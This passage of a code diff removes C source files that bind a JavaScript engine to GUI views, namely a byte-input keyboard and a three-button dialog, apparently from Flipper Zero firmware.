.custom_destroy = (JsViewCustomDestroy)ctx_destroy,
.add_child = (JsViewAddChild)js_button_panel_add_child,
.reset_children = (JsViewResetChildren)js_button_panel_reset_children,
.prop_cnt = 2,
.props = {
(JsViewPropDescriptor){
.name = "matrixSizeX",
.type = JsViewPropTypeNumber,
.assign = (JsViewPropAssign)matrix_size_x_assign},
(JsViewPropDescriptor){
.name = "matrixSizeY",
.type = JsViewPropTypeNumber,
.assign = (JsViewPropAssign)matrix_size_y_assign},
}};
JS_GUI_VIEW_DEF(button_panel, &view_descriptor);

View File

@@ -1,158 +0,0 @@
#include "../../js_modules.h" // IWYU pragma: keep
#include "js_gui.h"
#include "../js_event_loop/js_event_loop.h"
#include <gui/modules/byte_input.h>
#define DEFAULT_BUF_SZ 4
typedef struct {
uint8_t* buffer;
size_t buffer_size;
size_t default_data_size;
FuriString* header;
FuriSemaphore* input_semaphore;
JsEventLoopContract contract;
} JsByteKbContext;
static mjs_val_t
input_transformer(struct mjs* mjs, FuriSemaphore* semaphore, JsByteKbContext* context) {
furi_check(furi_semaphore_acquire(semaphore, 0) == FuriStatusOk);
return mjs_mk_array_buf(mjs, (char*)context->buffer, context->buffer_size);
}
static void input_callback(JsByteKbContext* context) {
furi_semaphore_release(context->input_semaphore);
}
static bool header_assign(
struct mjs* mjs,
ByteInput* input,
JsViewPropValue value,
JsByteKbContext* context) {
UNUSED(mjs);
furi_string_set(context->header, value.string);
byte_input_set_header_text(input, furi_string_get_cstr(context->header));
return true;
}
static bool
len_assign(struct mjs* mjs, ByteInput* input, JsViewPropValue value, JsByteKbContext* context) {
UNUSED(mjs);
UNUSED(input);
size_t new_buffer_size = value.number;
if(new_buffer_size < context->default_data_size) {
// Avoid confusing parameters from user
mjs_prepend_errorf(
mjs, MJS_BAD_ARGS_ERROR, "length must be larger than defaultData length");
return false;
}
context->buffer_size = new_buffer_size;
context->buffer = realloc(context->buffer, context->buffer_size); //-V701
byte_input_set_result_callback(
input,
(ByteInputCallback)input_callback,
NULL,
context,
context->buffer,
context->buffer_size);
return true;
}
static bool default_data_assign(
struct mjs* mjs,
ByteInput* input,
JsViewPropValue value,
JsByteKbContext* context) {
UNUSED(mjs);
mjs_val_t array_buf = value.term;
if(mjs_is_data_view(array_buf)) {
array_buf = mjs_dataview_get_buf(mjs, array_buf);
}
char* default_data = mjs_array_buf_get_ptr(mjs, array_buf, &context->default_data_size);
if(context->buffer_size < context->default_data_size) {
// Ensure buffer is large enough for defaultData
context->buffer_size = context->default_data_size;
context->buffer = realloc(context->buffer, context->buffer_size); //-V701
}
memcpy(context->buffer, (uint8_t*)default_data, context->default_data_size);
if(context->buffer_size > context->default_data_size) {
// Reset previous data after defaultData
memset(
context->buffer + context->default_data_size,
0x00,
context->buffer_size - context->default_data_size);
}
byte_input_set_result_callback(
input,
(ByteInputCallback)input_callback,
NULL,
context,
context->buffer,
context->buffer_size);
return true;
}
static JsByteKbContext* ctx_make(struct mjs* mjs, ByteInput* input, mjs_val_t view_obj) {
JsByteKbContext* context = malloc(sizeof(JsByteKbContext));
*context = (JsByteKbContext){
.buffer_size = DEFAULT_BUF_SZ,
.buffer = malloc(DEFAULT_BUF_SZ),
.header = furi_string_alloc(),
.input_semaphore = furi_semaphore_alloc(1, 0),
};
context->contract = (JsEventLoopContract){
.magic = JsForeignMagic_JsEventLoopContract,
.object_type = JsEventLoopObjectTypeSemaphore,
.object = context->input_semaphore,
.non_timer =
{
.event = FuriEventLoopEventIn,
.transformer = (JsEventLoopTransformer)input_transformer,
.transformer_context = context,
},
};
byte_input_set_result_callback(
input,
(ByteInputCallback)input_callback,
NULL,
context,
context->buffer,
context->buffer_size);
mjs_set(mjs, view_obj, "input", ~0, mjs_mk_foreign(mjs, &context->contract));
return context;
}
static void ctx_destroy(ByteInput* input, JsByteKbContext* context, FuriEventLoop* loop) {
UNUSED(input);
furi_event_loop_maybe_unsubscribe(loop, context->input_semaphore);
furi_semaphore_free(context->input_semaphore);
furi_string_free(context->header);
free(context->buffer);
free(context);
}
static const JsViewDescriptor view_descriptor = {
.alloc = (JsViewAlloc)byte_input_alloc,
.free = (JsViewFree)byte_input_free,
.get_view = (JsViewGetView)byte_input_get_view,
.custom_make = (JsViewCustomMake)ctx_make,
.custom_destroy = (JsViewCustomDestroy)ctx_destroy,
.prop_cnt = 3,
.props = {
(JsViewPropDescriptor){
.name = "header",
.type = JsViewPropTypeString,
.assign = (JsViewPropAssign)header_assign},
(JsViewPropDescriptor){
.name = "length",
.type = JsViewPropTypeNumber,
.assign = (JsViewPropAssign)len_assign},
(JsViewPropDescriptor){
.name = "defaultData",
.type = JsViewPropTypeTypedArr,
.assign = (JsViewPropAssign)default_data_assign},
}};
JS_GUI_VIEW_DEF(byte_input, &view_descriptor);

View File

@@ -1,129 +0,0 @@
#include "../../js_modules.h" // IWYU pragma: keep
#include "js_gui.h"
#include "../js_event_loop/js_event_loop.h"
#include <gui/modules/dialog_ex.h>
#define QUEUE_LEN 2
typedef struct {
FuriMessageQueue* queue;
JsEventLoopContract contract;
} JsDialogCtx;
static mjs_val_t
input_transformer(struct mjs* mjs, FuriMessageQueue* queue, JsDialogCtx* context) {
UNUSED(context);
DialogExResult result;
furi_check(furi_message_queue_get(queue, &result, 0) == FuriStatusOk);
const char* string;
if(result == DialogExResultLeft) {
string = "left";
} else if(result == DialogExResultCenter) {
string = "center";
} else if(result == DialogExResultRight) {
string = "right";
} else {
furi_crash();
}
return mjs_mk_string(mjs, string, ~0, false);
}
static void input_callback(DialogExResult result, JsDialogCtx* context) {
furi_check(furi_message_queue_put(context->queue, &result, 0) == FuriStatusOk);
}
static bool
header_assign(struct mjs* mjs, DialogEx* dialog, JsViewPropValue value, JsDialogCtx* context) {
UNUSED(mjs);
UNUSED(context);
dialog_ex_set_header(dialog, value.string, 64, 0, AlignCenter, AlignTop);
return true;
}
static bool
text_assign(struct mjs* mjs, DialogEx* dialog, JsViewPropValue value, JsDialogCtx* context) {
UNUSED(mjs);
UNUSED(context);
dialog_ex_set_text(dialog, value.string, 64, 32, AlignCenter, AlignCenter);
return true;
}
static bool
left_assign(struct mjs* mjs, DialogEx* dialog, JsViewPropValue value, JsDialogCtx* context) {
UNUSED(mjs);
UNUSED(context);
dialog_ex_set_left_button_text(dialog, value.string);
return true;
}
static bool
center_assign(struct mjs* mjs, DialogEx* dialog, JsViewPropValue value, JsDialogCtx* context) {
UNUSED(mjs);
UNUSED(context);
dialog_ex_set_center_button_text(dialog, value.string);
return true;
}
static bool
right_assign(struct mjs* mjs, DialogEx* dialog, JsViewPropValue value, JsDialogCtx* context) {
UNUSED(mjs);
UNUSED(context);
dialog_ex_set_right_button_text(dialog, value.string);
return true;
}
static JsDialogCtx* ctx_make(struct mjs* mjs, DialogEx* dialog, mjs_val_t view_obj) {
JsDialogCtx* context = malloc(sizeof(JsDialogCtx));
context->queue = furi_message_queue_alloc(QUEUE_LEN, sizeof(DialogExResult));
context->contract = (JsEventLoopContract){
.magic = JsForeignMagic_JsEventLoopContract,
.object_type = JsEventLoopObjectTypeQueue,
.object = context->queue,
.non_timer =
{
.event = FuriEventLoopEventIn,
.transformer = (JsEventLoopTransformer)input_transformer,
},
};
mjs_set(mjs, view_obj, "input", ~0, mjs_mk_foreign(mjs, &context->contract));
dialog_ex_set_result_callback(dialog, (DialogExResultCallback)input_callback);
dialog_ex_set_context(dialog, context);
return context;
}
static void ctx_destroy(DialogEx* input, JsDialogCtx* context, FuriEventLoop* loop) {
UNUSED(input);
furi_event_loop_maybe_unsubscribe(loop, context->queue);
furi_message_queue_free(context->queue);
free(context);
}
static const JsViewDescriptor view_descriptor = {
.alloc = (JsViewAlloc)dialog_ex_alloc,
.free = (JsViewFree)dialog_ex_free,
.get_view = (JsViewGetView)dialog_ex_get_view,
.custom_make = (JsViewCustomMake)ctx_make,
.custom_destroy = (JsViewCustomDestroy)ctx_destroy,
.prop_cnt = 5,
.props = {
(JsViewPropDescriptor){
.name = "header",
.type = JsViewPropTypeString,
.assign = (JsViewPropAssign)header_assign},
(JsViewPropDescriptor){
.name = "text",
.type = JsViewPropTypeString,
.assign = (JsViewPropAssign)text_assign},
(JsViewPropDescriptor){
.name = "left",
.type = JsViewPropTypeString,
.assign = (JsViewPropAssign)left_assign},
(JsViewPropDescriptor){
.name = "center",
.type = JsViewPropTypeString,
.assign = (JsViewPropAssign)center_assign},
(JsViewPropDescriptor){
.name = "right",
.type = JsViewPropTypeString,
.assign = (JsViewPropAssign)right_assign},
}};
JS_GUI_VIEW_DEF(dialog, &view_descriptor);

Some files were not shown because too many files have changed in this diff Show More